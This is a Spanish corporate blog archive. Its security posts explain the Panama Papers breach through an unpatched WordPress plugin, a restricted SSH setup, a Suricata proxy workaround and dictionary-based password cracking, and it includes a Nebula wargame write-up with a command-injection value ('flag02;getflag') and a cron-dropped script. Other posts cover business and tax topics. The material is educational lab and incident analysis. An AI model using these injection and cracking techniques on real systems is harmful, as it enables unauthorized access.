15 Abr 2016

Hoy, en como se hizo… Los papeles de Panamá

Buenas a todos!
a día de hoy, imagino que todo el mundo ha oído hablar de los papeles de Panamá, donde se han revelado los nombres de cientos de personalidades de todo el mundo con empresas offshore en dicho paraíso fiscal.

De la legalidad de esas empresas o sus implicaciones no os puedo hablar porque no tengo ni idea de economía y leyes, para eso están los tertulianos de Tele5, que igual te hablan de offshore como de la Pantoja. De lo que sí que puedo hablar un poco, es de cómo se consiguió la filtración desde el punto de vista de la seguridad de la información.

El bufete Mossak Fonseca, tiene su página web en el domino www.mossfon.com montado sobre un blog WordPress. Esta web, tiene un plugin llamado Revolution Slider para mostrar diferentes imágenes en modo carrousel. El problema está en que la versión que utilizan tiene un fallo de seguridad que permitía hacerse con el control del servidor.

[ Parte técnica. Si no te interesa, te la puedes saltar ]

Accediendo a los documentos del propio plugin, se podía ver que la versión era la 2.1.7, que tenía un fallo de seguridad.

Screen-Shot-2016-04-07-at-11.17.35-AM

Este fallo de seguridad, era conocido desde octubre de 2014 y existía información pública de como aprovecharlo. Aquí por ejemplo: https://www.exploit-db.com/exploits/35385/

Pongo también la parte del código del plugin que tenía el fallo:

Screen-Shot-2016-04-07-at-10.31.37-AM

La 7º línea permite a usuarios no autenticados subir ficheros. Esto provoca que sea facil subir un archivo .php que permita tomar el control del equipo.

[/Parte técnica ]

Esta web, a parte de este plugin, también tenía un plugin destinado a gestionar las listas de correo. Este plugin, almacenaba el usuario y la contraseña para acceder al servidor de correo en la base de datos:

Screen-Shot-2016-04-08-at-2.37.47-PM

Esto les permitió conectarse a ese servidor y descargar miles de correos electrónicos con información confidencial.

Sin embargo, el hackeo no se quedó ahi. Mossack Fonseca también tenía una web donde ponía a disposición de sus clientes toda la documentación para que estuviera accesible desde cualquier parte del mundo.

Screen-Shot-2016-04-08-at-2.11.53-PM

En este caso, la tecnología era Drupal. Del mismo modo que en el anterior caso, el no actualizar la versión de la web hizo que fuera vulnerable y los atacantes tuvieron total acceso al servidor y a los miles de ficheros contenidos en el.

Como habéis visto, el ataque no fue nada sofisticado. Utilizaron fallos públicos muy conocidos para tener acceso a los datos. En este caso, Mossack Fonseca se hubiera salvado de este ataque con solo tener activas las actualizaciones automáticas.

Mas info: Aquí y aquí

David Lladró
Responsable de Seguridad en Datadec Online

[subscribe2]

27 Nov 2015

Consejos de seguridad para el Black Friday

Como todos sabéis y siguiendo esa costumbre tan española que es apuntarse a cualquier fiesta,sea patria o extranjera, hoy es Black Friday. Como dato curioso que podréis usar para ser unos auténticos “cuñados”, el origen del término Black Friday se remonta a principios del siglo XIX en Philadelphia, donde los policías empezaron a llamar así al día siguiente a Acción de Gracias por el caos circulatorio que se generaba.

Desde hace unos pocos años, las tiendas españolas han empezado a ofrecer descuentos en sus productos copiando a las tiendas americanas. Por ello, me gustaría dar unos pocos consejos de seguridad que podréis aplicar o decir a vuestros familiares.

1- Cuidado con las falsas ofertas

Podremos importar las fiestas de fuera, pero la picaresca española siempre está ahí. Se ha detectado el caso en varias tiendas de supuestas rebajas que realmente no lo son. Por ejemplo, el caso de una cámara GoPro que hace dos lunes valía 375€, el lunes pasado subió a 446€ para hoy poder hacer descuento volviendo al precio original. Mas info aquí.

2- Ofertas recibidas por correo electrónico

Durante estos días, nuestras bandejas de entrada están siendo bombardeadas por las ofertas de todas las tiendas en las que hemos hecho alguna compra. Esto lo saben también los delincuentes, que aprovechan esta fiebre consumista y de spam para colar sus “regalitos”. Como consejo, es recomendable desconfiar de los correos recibidos de páginas web que no conozcamos. En el caso de recibir un correo de una web conocida, vale la pena que no pulsemos en el enlace y que visitemos directamente la web. Recordad de los correos anteriores lo fácil que era suplantar una dirección email.

3- Sistemas de pago seguros

Desconfiad de sitios que os obliguen a pagar mediante Wester Union o Moneygram. Estas empresas tienen un largo historial de uso por parte de los delincuentes ya que ponen las cosas muy difíciles a los compradores en casos de estafa.

4- Si algo no cuadra, dejad pasar la oferta o preguntad

Como no tengo espacio para muchos más consejos, voy a dar un último consejo genérico. Cuando algo no cuadra, inmediatamente lo sabemos. No es normal un iPhone 6s a 300€ y huele a estafa a km. Ante la duda, desconfiad.

Pasad un buen fin de semana.

David Lladró
Responsable de Seguridad en Datadec Online

[subscribe2]

04 Sep 2015

SSH restringido desde Windows

El otro día, un compañero me planteó el siguiente problema: ¿Cómo puedo hacer que un usuario de Windows ejecute, en un linux, unos comandos específicos a través de SSH sin saber el password del usuario destino?

Mi respuesta fue: Para lo del password, habrá que usar certificados. Para lo otro, déjame que te lo mire. Y así empezó el “viaje” que me llevó a conocer un poco más SSH. Para aclarar el escenario, voy a explicarlo con un poco más de detalle.

Tenemos a un usuario del dominio de Windows que va a ejecutar un fichero .bat o .ps1… Este fichero tendrá una llamada a la versión de linea de comandos de putty (plink) para ejecutar un script remoto en una máquina linux. Esta típica configuración presenta un gran problema, el usuario puede ver el password en claro en el fichero .bat. ¿Cómo solucionarlo? Vamos a ello.

Configuración del servidor Linux

El servidor Linux en el que se vayan a ejecutar los comandos no debe tener ninguna característica especial que lo diferencie de otros Linux. La primera opción que hay que configurar el el fichero authorized_keys del usuario que va a ejecutar los comandos:

[root@srerver]# cat /home/user/.ssh/authorized_keys 
command="/usr/local/bin/wrapper.sh",no-pty,no-port-forwarding,no-X11-forwarding,no-agent-forwarding ssh-rsa CLAVE_PUBLICA_SSH rsa-key-20150703

Esta línea realiza lo siguiente:

  • command=”/usr/local/bin/wrapper.sh”: Cuando se realice una conexión con la CLAVE_PUBLICA_SSH, ejecuta el script wrapper.sh.
  • no-pty,no-port-forwarding,no-X11-forwarding,no-agent-forwarding: Estas opciones deshabilitan las capacidades extras de SSH para evitar que se abuse de la cuenta utilizada.
  • ssh-rsa CLAVE_PUBLICA_SSH rsa-key-20150703: esta parte de la línea es donde se incluirá la clave pública RSA que se generará en los pasos siguientes.

Con la configuración actual, cuando se intente ejecutar un comando vía SSH, este no se ejecutará, ya que hemos puesto en la configuración que ejecute el script wrapper.sh. Este script será el encargado de comprobar que el comando que llegue sea uno de los permitidos y de ejecutarlo:

[root@server]# vim /usr/local/bin/wrapper.sh
#!/bin/sh
# Script: /usr/local/bin/wrapper.sh 

case "$SSH_ORIGINAL_COMMAND" in
        "/u01/script/elevated_command.sh")
                $SSH_ORIGINAL_COMMAND
		echo "elevated_comand ejecutado " 
                ;;
        "scp -r -p -f /etc")
                $SSH_ORIGINAL_COMMAND
                ;;
   
        *)
                echo "Command: $SSH_ORIGINAL_COMMAND" >> ~/command.txt
                exit 1
                ;;
esac

Este script, aprovecha la funcionalidad de SSH que guarda en la variable $SSH_ORIGINAL_COMMAND el comando original que se había pasado por parámetro. Por lo tanto, este script incluye en un switch todos los comandos permitidos para posteriormente, ejecutar el correcto.

Hay que tener en cuenta, que en muchas ocasiones, el comando que se ejecuta internamente, no es exactamente igual al que se pasa por parámetro. Por eso, se ha añadido la opción de *) que guardará en el fichero command.txt cual ha sido el comando interpretado.

No hay que olvidar que dicho script debe tener permisos de ejecución:

[root@server]# chmod +x /usr/local/bin/wrapper.sh

Configuración del equipo Windows

Windows todavía no dispone de herramientas nativas para la ejecución de comandos SSH. Por esto, vamos a necesitar diferentes herramientas:

Lo primero que necesitaremos, será generar el par de claves RSA. Para ello, ejecutaremos PuTTyGen. Para asegurarnos de que la clave sea lo suficientemente robusta durante unos años, habrá que cambiar en la parte inferior derecha el parámetro “Number of bits in a generated key:” de 2048 a 4096. Seguidamente deberemos pulsar en “Generate”:

putty_key_generator

Una vez generada la clave, deberemos exportar la clave privada de dos formas diferentes, la nativa de Putty y la de OpenSSH. Para exportar la clave privada de forma nativa, pulsaremos en “Save private key”, lo que nos abrirá un menú para guardar el fichero *.ppk

Para exportar la clave en formato OpenSSH, hay que pulsar en el menú “Conversions” y luego en “Export OpenSSH key” en formato *.key.  Esto es necesario porque en función del programa que utilicemos, necesitará la clave privada en un formato o en otro.

Por último, nos queda copiar la clave pública que se encuentra en el cuadro con título: “Public key for pasting into OpenSSH authorized_keys file”. Una vez copiada, la incorporaremos al fichero authorized_keys del servidor Linux.

A continuación, se muestra un ejemplo de uso de dicho sistema:

@echo off
REM /* cwRsync utiliza una unidad virtual llamada /cygdrive/ por lo que las rutas debe
REM    ser relativas a esa unidad /*
SET LOG_DIR="/cygdrive/C/logs"
SET LOG_DIR_NOTEPAD="C:\Programs\Notepad\logs"
SET RSYNC="C:\cwRsync_5.4.1\rsync.exe"
SET PLINK="C:\plink.exe"

REM En windows no es necesario encerrar el comando entre comillas simples. Si lo
REM hacemos, debermos incluir dichas comillas en el script wrapper.sh
REM Plink utiliza el formato de clave privada nativo de Putty en fichero *.ppk

%PLINK% -v -ssh -i C:\private.ppk user@10.0.0.1 /u01/script/elevated_command.sh

REM cwRsync utiliza el formato de clave privada de OpenSSH en fichero *.key

%RSYNC% -av -e "/cygdrive/c/cwRsync_5.4.1/ssh -i C:\private.key" user@10.0.0.1:/u01/logs %LOG_DIR%

Con esto hemos visto un ejemplo de ejecutar un comando mediante ssh y realizar un rsync sin necesidad de contraseña y limitando los comandos que se pueden ejecutar.

David Lladró
Responsable de Seguridad en Datadec Online

[subscribe2]

20 May 2015

Solventado el bug de Suricata y los proxies

Una de las mejores prácticas en lo que a seguridad corporativa se refiere, es la implantación de un proxy para la navegación web. Con esta medida, se puede controlar el tráfico web que abandona la organización.

Una de las medidas de seguridad mas aplicadas, es la de restringir en el firewall todo el tráfico web, excepto el que proviene del proxy. Con esta medida, evitamos la conexión de malware sencillo que no lee la configuración de proxy del sistema.

Sin embargo, si disponemos de un sistema de detección de intrusiones ( en nuestro caso, Suricata ) nos vamos a encontrar con diferentes problemas. A continuación explico dichos problemas y los workarounds que he utilizado.

proxy

El primer problema que nos encontramos es que los orígenes o los destinos de las alertas nos son inservibles. En la imagen anterior, si Suricata está escuchando antes del proxy, nos vamos a encontrar con que todos los paquetes http tienen como destino el proxy. Si por el contrario ponemos Suricata entre el proxy y el firewall, nos encontraremos con que los paquetes http tienen como origen el proxy.

Una posible solución, sería activar en el proxy la cabecera X-Forwarded-For. De esta forma, todos los paquetes que salieran del proxy llevarían una cabecera HTTP con la IP interna y Suricata podría hacer el matching. El problema de esta aproximación, es que si el firewall no elimina dicha cabecera, se enviaría al servidor web destino con el consecuente problema de privacidad.

Si no se puede eliminar la cabecera en el firewall, podríamos tratar la IP del firewall como una IP externa, así las reglas de Suricata podrían volver a funcionar correctamente. Para hacer esto, simplemente hay que editar el fichero de configuración de Suricata ( por defecto, se encuentra en /etc/suricata/suricata.yaml ) y modificar la variable $HOME_NET e indicar que la IP del proxy no pertenece a esa variable:

HOME_NET: "[10.0.0.0/24,!10.0.0.254]"

Esto debería ser suficiente para arreglar nuestro problema, pero actualmente existe un bug en Suricata que hace que el inicio del programa sea extremadamente lento. En mis pruebas, dicho inicio duró mas de dos horas.

¿Que podríamos hacer para solventar el problema? La opción que utilicé es la de modificar las reglas mediante un sencillo script. El primer paso es declarar la variable PROXY_SERVERS en el fichero de configuracion:

PROXY_SERVERS: "[10.0.0.254,10.0.0.253]"

El segundo paso sería reemplazar todas las referencias a EXTERNAL_NET por PROXY_SERVERS. ¿Todas? La respuesta es …. no. Solo deberíamos reemplazar las reglas que empiecen por “alert http ….”. De esta forma, nos aseguramos que solo modificamos las reglas que queremos.

Asumiendo que tenemos nuestras reglas en /opt/reglas/ y que disponemos del directorio /opt/reglas_proxy, solo deberíamos ejecutar el siguiente script:

#!/bin/bash

#For que recorre todos los archivos .rules
for archivo in $(ls /opt/reglas/); 
do
  #Reemplazo condicional. Si la linea empieza por "alert http" substituir
  #$EXTERNAL_NET por $PROXY_SERVERS y guardarlo en un nuevo fichero
  sed '/^alert http/s/$EXTERNAL_NET/$PROXY_SERVERS/g' /opt/reglas/$archivo > /opt/reglas_proxy/$archivo
done

y cambiar el directorio de las reglas en el fichero de configuración de Suricata.

David Lladró
Responsable de Seguridad en 
Datadec Online

[subscribe2]

27 Ene 2015

¿Tan malos son nuestros passwords?

WorstPasswords-2014Recientemente ha aparecido una de esas listas que más gustan a los medios de comunicación: la lista de los passwords mas usados en 2014. Como ha ocurrido en los últimos años, la compañía SplashData ha hecho pública su lista de las contraseñas más usadas en 2014. Como era de esperar, 123456 y sus variantes copan la mayoría del top ten.

Esto me hace reflexionar sobre la labor de concienciación que realizamos en materia de seguridad y hacerme la pregunta que da título a este post: ¿Tan malos son nuestros passwords? La respuesta, menos mal, es no.

La información importante de esta lista no es el top ten, sino los porcentajes de ese top ten. Por ejemplo, vamos a analizar el caso del password ‘123456’. En 2011, el porcentaje de passwords que era ‘123456’ se situaba en el 8,5%. En 2014, ese porcentaje disminuyó hasta menos del 1%, lo cual es aceptable. Como se desprende de estas estadísticas, la cultura de seguridad sí que está calando en la sociedad y cada vez los passwords que se usan son mejores.

Pero no todo van a ser buenas noticias. Desgraciadamente, los passwords siguen siendo débiles y resulta bastante sencillo obtener las contraseñas de los usuarios. Vamos a hacer un ejercicio de cracking. Nos vamos a poner en el caso que hemos obtenido una lista de contraseñas cifradas en MD5 de la empresa Empresa S.A. y queremos obtener contraseñas de forma rápida. Para ello, deberíamos generar un diccionario con las siguientes reglas:

  • Hacer una lista de usuarios de la empresa buscando en fuentes de información pública. Añadir estos usuarios a la lista de passwords.
  • Añadir variaciones de los nombres de usuario: dlladro, Dlladro, DlladrO, dll4dr0, Dll4dr0…
  • Añadir a los nombres de usuario 3 cifras: dlladro1, dlladro11, dlladro111, dlladro999
  • Realizar las mismas acciones con el nombre de la empresa: empresa, Empresa, 3mpr3s4…
  • Añadir todos los posibles números de 9 cifras desde 000000000 hasta 999999999. Con esta regla obtendríamos todas las contraseñas que sean fechas (01012015), DNIs, números de teléfono…

Con esta lista bastante genérica, obtendríamos de forma rápida, muchas credenciales de la empresa atacada. Una vez terminado este ataque, podríamos empezar con un ataque de fuerza bruta clásico utilizando una tarjeta gráfica.

A modo de ejemplo, os adjunto una imagen de lo que se tardaría en obtener una contraseña en función de su complejidad y longitud con una tarjeta gráfica potente (200€ aprox).

MD5- AMD R9 290

 Viendo esta gráfica, el panorama parece desolador para los usuarios. ¿Como se puede recordar múltiples contraseñas del tipo Adj37%·dsaDASF? Imposible para un ser humano normal. Pero, ¿sería difícil recordar una contraseña como “escribo en blog seguridad informatica”?

No lo creo, es mas, yo creo que ya la han memorizado. Sin ninguna dificultad, se puede memorizar contraseñas de 37 caracteres o incluso más. Así que no hay excusa para cambiar las contraseñas por unas robustas y sencillas de recordar.

David Lladró
Responsable de Seguridad en 
Datadec Online

[subscribe2]

12 Ene 2015

¿Son diferentes las herramientas de gestión en empresas tradicionales y startups?

Todos los días, prácticamente, aparecen nuevas tecnologías y herramientas de gestión empresarial. No siempre resulta fácil escoger la más indicada para cada modelo de negocio. Tanto las grandes y medianas empresas, tradicionales o vanguardistas, como las startups presentan distintas necesidades, por lo que entienden la innovación como un elemento potenciador del crecimiento de su negocio.

El software de última generación o el CloudComputig no son patrimonio exclusivo de las firmas de nueva creación, tecnológicas o digitales. No obstante, las tradicionales, más enfocadas a la producción y las ventas, se muestran todavía reticentes a la hora de acoger estos programas. Pero todas pueden desarrollar proyectos innovadores para mejorar la calidad de sus productos, diversificar sus líneas de negocio y abrir nuevos mercados.

Cuando se trata de asumir un cambio de software o de sistemas informáticos, la tradicional mantiene por un tiempo un modelo en el que coexisten dos herramientas de gestión: la estándar y la proporcionada por las nuevas tecnologías. Una vez que se demuestra que esta última incide positivamente en los resultados, se incorpora definitivamente. En el caso de las multinacionales, el proceso de la toma decisiones se alarga aún más, ya que el sistema se halla centralizado y se requiere una coordinación internacional. Por ello, prima la homogeneización de productos, sistemas y soluciones.

Por el contrario, las pymes y startups se adaptan de forma más rápida a las nuevas tecnologías. Existe un gran interés por optimizar los costes y la escalabilidad para adaptarse a nuevas necesidades, sin incurrir en cuantiosas inversiones adicionales.

herramientas de gestión en empresas startups

En cualquier caso, la aplicación de los últimos avances supone un aumento de la eficiencia y una ventaja competitiva que las empresas más reconocidas han aprovechado gracias al software de gestión empresarial ERP (Planificación de Recursos Empresariales). Las grandes empresas, entre ellas algunas tradicionales, han sido las primeras en incorporar sistemas ERP. Después, las pymes se han ido sumando a la implementación de estos programas.

Por su parte, el Cloud Computing ofrece la posibilidad de encontrar en “la nube” diversas herramientas y servicios que optimizan la gestión de todos los procesos de una actividad empresarial. Las startups se han volcado por completo con este sistema. Muchas se complementan y no cubren todas las funciones de un ERP, pero resultan especialmente válidas a la hora de poner en marcha un negocio.

En esencia, aunque las herramientas expongan diferencias y la forma de adaptarlas varíe de una empresa tradicional a otra de nueva creación, se debe realizar siempre un estudio sobre las novedades tecnológicas existentes aplicadas a cada negocio. Resulta igualmente importante que estos sistemas optimicen el rendimiento y constituyan un elemento diferenciador o ventaja competitiva para fomentar el crecimiento.

08 Ene 2015

Estrategias de marketing online en tiempo de crisis

A la hora de definir estrategias de marketing online en tiempo de crisis, el marketing online pone a disposición de las empresas un ingente número de posibilidades y muchas de ellas no exigen un gran desembolso para su ejecución. Se trata del marketing low cost, una solución perfecta para pymes y emprendedores que cuentan con un presupuesto escaso para desarrollar una adecuada planificación de marketing digital.

Estrategias de marketing online en tiempo de crisis
Estrategias de marketing online en tiempo de crisis

Considerando la importancia que han alcanzado las nuevas tecnologías en España (y en el resto del mundo), ya no resulta concebible desarrollar un negocio tradicional sin una buena estrategia de marketing online que lo apoye. De hecho, muchos negocios tradicionales se encuentran realizando actualmente el tránsito del off al online debido a los grandes beneficios que reporta una adecuada presencia en la red. Algunos simples consejos pueden ayudar a mejorar el posicionamiento y notoriedad web, así como la experiencia del usuario que visita la página:

1. Descripción adecuada de metaetiquetas: cada URL del menú o submenú de un sitio de Internet posee una función diferente. Por ejemplo, crear una página para hablar de la \”Misión\”, \”¿Quiénes somos?\” o \”Historia\” exige necesariamente que, en el link, se contenga dicha información sin acentos y separando cada palabra por guiones.

2. Marketing de contenidos: se trata de la estrategia por excelencia del denominado marketing en crisis o de guerrilla debido a la escasa inversión que exige y los beneficios que reporta. La publicación de contenidos únicos, exclusivos y de alta calidad constituyen el eje central de una buena estrategia de posicionamiento (SEO). La creación de artículos de revista especializados y segmentados adecuadamente a un público objetivo genera fidelización y engagement. Basta con moderar adecuadamente y poner a disposición de los lectores o clientes potenciales la mejor selección de noticias y tendencias del sector para obtener referencias y enlaces (backlinks) de otras webs.

3. Campañas atractivas y con gancho: no hace falta regalar coches de gama alta, sueldos vitalicios o viajes a una isla paradisíaca con los colegas. Si bien es cierto que campañas de estas características suponen un reclamo innegable, también se pueden diseñar \”Llamadas a la Acción\” (CTAs o Call to Action, en inglés) con escaso presupuesto. El sentido del humor, la ilusión, el optimismo y la positividad son las mejores armas con que las empresas cuentan para motivar las conversiones y transmitir su mensaje al público objetivo.

4. Redes sociales: no existe nada mejor que crear e interactuar con una comunidad online. Fomentar su participación, suscitar preguntas y generar debates suponen la clave del éxito para aumentar el número de seguidores y conseguir un efecto \”boca a boca\”. Cada plataforma se halla especialmente destinada a tareas específicas. Por ejemplo, LinkedIn o Xing se presentan como las mejores para promocionar el lado corporativo; Facebook y Twitter son idóneas para viralizar publicaciones; YouTube, contenidos audiovisuales, e Instagram y Pinterest, para promocionar la compañía a través de imágenes fotográficas.

29 Dic 2014

Presentación de IVA en tiempo real

El pasado 20 de octubre, la Agencia Tributaria anunció una importante novedad  en la gestión del IVA basado en la información en tiempo real de las transacciones comerciales. A partir del 1 de enero de 2017, entrará en vigor el nuevo sistema de Suministro Inmediato de Información (SII). El sistema SII, permitirá que Hacienda conozca en tiempo real las transacciones comerciales que practiquen un colectivo de 62.000 contribuyentes, formado por grandes empresas, grupos societarios a efectos de IVA e inscritos en el régimen de devolución mensual, que forman en total el 80% de la facturación de los sujetos pasivos de IVA en España. Además, podrán sumarse el resto de contribuyentes de forma voluntaria. El objetivo es agilizar las devoluciones, proporcionar al contribuyente los datos fiscales para su declaración y practicar las actuaciones de comprobación de manera más ágil y efectiva, todo ello gracias al conocimiento prácticamente en tiempo real que tendrá la Agencia Tributaria de las transacciones comerciales en las que participen los adscritos al sistema.

Agencia Tributaria

 ¿Cuál es el funcionamiento del nuevo modelo?

Los contribuyentes adscritos al nuevo sistema SII, deberán enviar en un plazo máximo de 4 días hábiles el detalle de las facturas emitidas y recibidas. Esto implica que los “libros de registro” se gestionarán a través de la página web de la Agencia Tributaria, donde esos libros se irán formando con cada uno de los envíos del detalle de las operaciones realizadas.

Otra novedad introducida, es que, se eliminará la posibilidad de realizar asientos resúmenes (incluso en el caso de los tiques) para facilitar el automatismo en el envío de los registros de facturación. Además, el nuevo sistema permitirá a la Agencia Tributaria crear unos datos fiscales que podrá utilizar el contribuyente a la hora de presentar su declaración de IVA, similares a los ya utilizados en el IRPF.

 ¿Qué ventajas tiene?

  • El proceso de declaración se simplificará, reduciendo los errores y aportando una mayor seguridad jurídica, ya que el contribuyente dispondrá de un libro registro “declarado” y otro “contrastado”.
  • Se suprimirá la obligación de presentar las declaraciones informativas de los modelos 347, 340 y 390.
  • El plazo de presentación de las autoliquidaciones periódicas se ampliará en 10 días.
  • Las comprobaciones de la Agencia Tributaria se producirán de forma más selectiva y rápida, gracias a la recepción en tiempo real de la información de las operaciones.

Quedamos a la espera de que la Agencia Tributaria ofrezca una información más concreta sobre las características del nuevo sistema “Suministro Inmediato de Información” (SII).

11 Dic 2014

Aprendiendo seguridad con Wargames 2

En el post anterior vimos las soluciones al nivel 0 y 1 del Wargame Nebula. Aprendimos que era muy importante desconfiar de las variables de entorno y a utilizar rutas absolutas en las llamadas a ejecutables. Vamos a ver unos cuantos niveles más de este Wargame:

Nebula Level02

 Al igual que en el nivel 01, el siguiente código tiene una vulnerabilidad que nos permitirá ejecutar código arbitrario. Vamos a ver el código y a añadir unos comentarios:

#There is a vulnerability in the below program that allows arbitrary 
#programs to be executed, can you find it?
#To do this level, log in as the level02 account with the password
#level02. Files for this level can be found in /home/flag02.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;   #Definimos un buffer de carácteres

  # Primero se obtiene el valor de la variable de entorno USER,
  # Luego se guarda en buffer la cadena "/bin/echo flag02 is cool"
  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));

  # Ahora se muestra lo que se va a ejecutar
  printf("about to call system(\"%s\")\n", buffer);
  
  # Por último se ejecuta el contenido de buffer
  system(buffer);
}  

 En esta ocasión, se ha llamado a echo con su ruta absoluta, por lo que no podremos utilizar el mismo truco que en el nivel anterior. Desde el punto de vista de un atacante, necesitamos averiguar cual es nuestro punto de entrada.

En este caso, lo único que podemos modificar es el valor de la variable USER. ¿Como podemos aprovecharnos de esto? Como he puesto en el código, la orden que se va a ejecutar es /bin/echo $USER is cool. Nadie nos impide utilizar el carácter de separación de comandos ; para ejecutar dos órdenes seguidas. Por ejemplo, si hacemos:

level02@nebula:~$ USER="david;echo lladro" 
level02@nebula:~$ /home/flag02/flag02
david lladro is cool

 Lo que se está ejecutando es /bin/echo david;echo is cool. Con esto en mente, la solución al reto la obtendríamos con:

level02@nebula:~$ USER="flag02;getflag" 
level02@nebula:~$ /home/flag02/flag02

 

 

Nebula Level03

En este nivel no tenemos código, solo una escueta explicación:

#Check the home directory of flag03 and take note of the files there.
#There is a crontab that is called every couple of minutes.
#To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

 Lo que nos dice es que en /home/flag03 hay ciertos ficheros y directorios. Cada X minutos, se ejecuta  un crontab. Con esta explicación, todo parece indicar que podremos ejecutar código a ciegas. Es decir, podremos colocar un script en un directorio y esperar a que se ejecute con los permisos adecuados. Por ejemplo, podríamos hacer:

level03@nebula:~$ vim getflag.sh
    
    #!/bin/bash
    getflag 
    
level03@nebula:~$ chmod +x getflag.sh 
level03@nebula:~$ cp getflag.sh /home/flag03/writable.d/

 El problema de este código es que no sabemos si ha funcionado, ya que getflag sólo muestra por pantalla una frase. Para solucionar esto, basta con redirigir la salida a un fichero temporal:

level03@nebula:~$ vim getflag.sh
    
    #!/bin/bash
    getflag >> /tmp/flag3
    
level03@nebula:~$ chmod +x getflag.sh 
level03@nebula:~$ cp getflag.sh /home/flag03/writable.d/

esperamos unos minutos

level03@nebula:~$ cat /tmp/flag3
You have successfully executed getflag on a target account

Con esto, hemos solucionado este nivel. Espero que os haya gustado.

David Lladró
Responsable de Seguridad en 
Datadec Online

[subscribe2]

18 Nov 2014

La realidad de la ley de morosidad

La situación actual de la morosidad comercial afecta a las pymes en un 60%. A pesar de que el plazo medio de cobro para estas ha mejorado, se sigue situando en unos 20 días más de lo establecido por la ley. Existen algunos sectores especialmente afectados como son el de la construcción, que cuenta con un 41% de empresas que reconocen tener pagos pendientes. Aun así, este colectivo ha reducido su plazo medio de cobro en 4,9 días con respeto al trimestre anterior. En la legislación actual sobre morosidad está vigente la Ley 15/2010, que modificó a la Ley 3/2004 desde el día 7 de julio de 2010 y que establece, desde 2013, una serie de plazos máximos de pago en las operaciones que se realizasen desde un punto de vista comercial. Este periodo es de 60 días para las empresas privadas, aunque con una excepción para los productos de alimentación frescos y perecederos. Las administraciones públicas tienen 30 días, que comienzan a contabilizarse desde la entrega de los productos o servicios prestados.

ley de morosidadEn lo que respecta a la aplicación de la ley de morosidad, el marco regulatorio de esta se ve incumplido en muchas ocasiones, de manera que tanto pymes como autónomos han de tomar medidas preventivas para protegerse de morosos. Es cierto que en la ley se contempla la opción de reclamar intereses de demora e indemnizaciones por los posibles costes de cobros, pero en muchos casos no se solicitan por miedo a que se demore aún más el cobro.

El problema de la morosidad es que, en ocasiones, provoca que se agrave el desfase de liquidez y tesorería, situación que puede producir un cierre del propio negocio. Por ello, se hacen necesarias herramientas de gestión para reducir esta tendencia, como la Plataforma Multisectorial contra la Morosidad o la propia Ley de Morosidad, impulsadas por pymes y autónomos para hacer frente al problema y que los plazos de pago se asemejen a la Unión Europea.

Es cierto que existe un descenso de la morosidad en los últimos años. En el sector privado bajó durante 2013 hasta 85 días de media y en el público a 111, pero aún se mantiene en una tasa del 5,1%, cuando la media europea es del 2,6%. Como medidas de presión ante esta situación, el Gobierno ha legislado ya para el sector público y, en breve, lo hará para el sector privado con el Real Decreto 635/214 de 25 de julio, donde desarrolla la metodología de cálculo del periodo medio de pago a proveedores de las administraciones públicas. Según el ministro Montoro, se espera la aprobación de la normativa al respecto.